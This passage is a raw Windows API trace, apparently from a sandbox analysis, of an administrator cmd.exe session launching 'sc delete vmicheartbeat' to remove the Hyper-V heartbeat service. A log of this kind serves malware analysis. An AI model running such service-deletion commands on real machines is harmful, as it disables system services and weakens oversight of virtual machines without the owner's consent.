lpOverlapped=0x0) returned 1 [0067.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="atdown\nrface\n") returned 1 [0067.776] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.776] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.776] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="rdown\nrface\n") returned 1 [0067.776] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.776] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.776] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="town\nrface\n") returned 1 [0067.776] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.776] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.776] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.776] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="bwn\nrface\n") returned 1 [0067.776] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.776] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.776] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="en\nrface\n") returned 1 [0067.777] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.777] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.777] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="a\nrface\n") returned 1 [0067.777] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.777] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.777] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="trface\n") returned 1 [0067.777] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.777] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.777] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0067.777] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="\nface\n") returned 1 [0067.777] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.777] GetFileType (hFile=0xb8) returned 0x3 [0067.777] _get_osfhandle (_FileHandle=0) returned 0xb8 [0067.777] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.777] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.777] GetFileType (hFile=0x120) returned 0x3 [0067.777] _get_osfhandle (_FileHandle=1) returned 0x120 [0067.778] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicheartbeat\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicheartbeat\n", lpUsedDefaultChar=0x0) returned 25 [0067.778] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x18, lpOverlapped=0x0) returned 1 [0067.778] GetProcessHeap () returned 0x4a0000 [0067.778] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4bfb10 [0067.778] GetProcessHeap () returned 0x4a0000 [0067.778] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bfb10 | out: hHeap=0x4a0000) returned 1 [0067.778] GetProcessHeap () returned 0x4a0000 [0067.778] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0067.778] GetProcessHeap () returned 0x4a0000 [0067.778] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b8900 [0067.779] GetProcessHeap () returned 0x4a0000 [0067.779] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x3c) returned 0x4baa40 [0067.779] GetConsoleOutputCP () returned 0x1b5 [0067.779] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0067.779] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.779] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.780] GetProcessHeap () returned 0x4a0000 [0067.780] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0067.780] GetProcessHeap () returned 0x4a0000 [0067.780] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x42) returned 0x4baa90 [0067.780] GetProcessHeap () returned 0x4a0000 [0067.780] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0067.780] SetErrorMode (uMode=0x0) returned 0x1 [0067.780] SetErrorMode (uMode=0x1) returned 0x0 [0067.780] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0067.780] SetErrorMode (uMode=0x1) returned 0x1 [0067.780] GetProcessHeap () returned 0x4a0000 [0067.780] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0067.780] GetProcessHeap () returned 0x4a0000 [0067.780] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0067.780] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.780] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0067.780] GetProcessHeap () returned 0x4a0000 [0067.780] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b9db0 [0067.780] GetProcessHeap () returned 0x4a0000 [0067.780] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0067.780] GetProcessHeap () returned 0x4a0000 [0067.780] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0067.780] GetProcessHeap () returned 0x4a0000 [0067.781] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0067.781] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.781] GetProcessHeap () returned 0x4a0000 [0067.781] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0067.781] GetProcessHeap () returned 0x4a0000 [0067.781] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0067.781] GetProcessHeap () returned 0x4a0000 [0067.781] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0067.781] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.781] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0067.781] GetLastError () returned 0x2 [0067.781] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0067.781] GetLastError () returned 0x2 [0067.781] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0067.782] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0067.782] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0067.782] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0067.782] GetLastError () returned 0x2 [0067.782] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0067.782] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0067.782] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0067.782] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0067.782] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.782] GetProcessHeap () returned 0x4a0000 [0067.782] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4bba90 [0067.783] GetConsoleTitleW (in: lpConsoleTitle=0x4bbaa0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0067.783] GetProcessHeap () returned 0x4a0000 [0067.783] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba90, Size=0xa8) returned 0x4bba90 [0067.783] GetProcessHeap () returned 0x4a0000 [0067.783] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba90) returned 0xa8 [0067.783] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicheartbeat") returned 1 [0067.783] GetProcessHeap () returned 0x4a0000 [0067.783] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0067.783] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0067.783] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0067.783] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0067.784] GetProcessHeap () returned 0x4a0000 [0067.784] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.784] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.785] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0067.785] GetProcessHeap () returned 0x4a0000 [0067.785] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0067.785] GetProcessHeap () returned 0x4a0000 [0067.785] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b98a0 [0067.785] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicheartbeat", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicheartbeat", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete vmicheartbeat", lpProcessInformation=0x2cecc0*(hProcess=0x50, hThread=0x54, dwProcessId=0x208, dwThreadId=0x488)) returned 1 [0067.789] CloseHandle (hObject=0x54) returned 1 [0067.789] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0067.789] GetProcessHeap () returned 0x4a0000 [0067.789] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8980 | out: hHeap=0x4a0000) returned 1 [0067.789] GetEnvironmentStringsW () returned 0x4b8980* [0067.789] GetProcessHeap () returned 0x4a0000 [0067.789] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0067.789] FreeEnvironmentStringsW (penv=0x4b8980) returned 1 [0067.789] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0067.789] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd3000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0067.789] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0068.013] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0068.013] CloseHandle (hObject=0x50) returned 1 [0068.013] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0068.013] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.013] GetProcessHeap () returned 0x4a0000 [0068.013] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0068.013] GetEnvironmentStringsW () returned 0x4b8980* [0068.013] GetProcessHeap () returned 0x4a0000 [0068.013] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0068.013] FreeEnvironmentStringsW (penv=0x4b8980) returned 1 [0068.013] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.013] GetProcessHeap () returned 0x4a0000 [0068.014] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0068.014] GetEnvironmentStringsW () returned 0x4b8980* [0068.014] GetProcessHeap () returned 0x4a0000 [0068.014] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0068.014] FreeEnvironmentStringsW (penv=0x4b8980) returned 1 [0068.014] GetProcessHeap () returned 0x4a0000 [0068.014] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b98a0 | out: hHeap=0x4a0000) returned 1 [0068.014] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0068.014] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.014] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.014] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.015] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.015] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0068.015] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.015] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0068.015] GetConsoleOutputCP () returned 0x1b5 [0068.015] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.015] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.015] GetProcessHeap () returned 0x4a0000 [0068.015] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0068.015] GetProcessHeap () returned 0x4a0000 [0068.015] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0068.015] GetProcessHeap () returned 0x4a0000 [0068.015] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9db0 | out: hHeap=0x4a0000) returned 1 [0068.016] GetProcessHeap () returned 0x4a0000 [0068.016] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0068.016] GetProcessHeap () returned 0x4a0000 [0068.016] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0068.016] GetProcessHeap () returned 0x4a0000 [0068.016] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0068.016] GetProcessHeap () returned 0x4a0000 [0068.016] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0068.016] GetProcessHeap () returned 0x4a0000 [0068.016] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b8900 | out: hHeap=0x4a0000) returned 1 [0068.016] GetProcessHeap () returned 0x4a0000 [0068.016] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0068.016] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0068.016] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.016] GetFileType (hFile=0x120) returned 0x3 [0068.016] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.016] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.016] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0068.016] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.016] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.016] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.017] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0068.017] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.017] GetFileType (hFile=0x120) returned 0x3 [0068.017] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.017] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.017] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] GetFileType (hFile=0xb8) returned 0x3 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.017] 